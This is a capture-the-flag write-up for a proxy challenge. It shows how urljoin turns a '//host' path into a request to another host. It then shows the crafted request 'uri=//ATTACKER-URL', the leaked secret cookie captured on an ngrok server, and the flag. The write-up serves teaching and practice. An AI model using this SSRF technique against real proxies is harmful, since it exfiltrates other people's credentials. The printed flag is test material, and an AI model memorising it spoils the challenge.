Don't Touch My Flag
I found a flag on a server, though access seems to be protected by a secret. Being generous, I decided to share the flag with you through my proxy server. Oh, the censoring? Sorry about that, I'll remove it after this CTF is over. http://chals.ctf.sg:40101 http://chals.ctf.sg:40102 author: JustinOng
This challenge consists of two servers - a proxy and a backend.
Let's take a look at how the proxy makes the request to the backend. The secret token is added to the cookies, and a user-controlled uri
is joined to the backend URL using urllib.parse.urljoin
.
@app.route("/get")
def get():
uri = request.args.get("uri", "/")
full_url = urllib.parse.urljoin(os.environ["BACKEND_URL"], uri)
r = requests.get(full_url, cookies={
"secret": secret
})
if r.status_code != 200:
return f"Request failed: received status code {r.status_code}"
censored = censor(r.text)
return censored
But urljoin
doesn't fare well when presented with a malformed path.
>>> from urllib.parse import urljoin
>>> urljoin("http://www.example.com", "test")
'http://www.example.com/test'
>>> urljoin("http://www.example.com", "/test")
'http://www.example.com/test'
>>> urljoin("http://www.example.com", "//test")
'http://test'
This allows us to get the proxy to make a request to our own server:
GET /get?uri=//ATTACKER-URL HTTP/1.1
Host: chals.ctf.sg:40101
In the received request, we get the secret cookie.
GET / HTTP/1.1
Host: ae64-42-60-216-15.ngrok.io
User-Agent: python-requests/2.27.1
Accept: */*
Accept-Encoding: gzip, deflate
Cookie: secret=8byEt7F60cCSRpQs1jeAXQqByOsK5P5b
X-Forwarded-For: 178.128.25.242
X-Forwarded-Proto: http
Now we can send a request directly to the backend, which checks our secret before giving us the flag!
@app.route("/flag")
def get_flag():
if request.cookies.get("secret") != secret:
return "\N{Black Flag}"
return flag
The flag is CTFSG{d0nT_toUcH_mY_c00k13s}
Last updated
Was this helpful?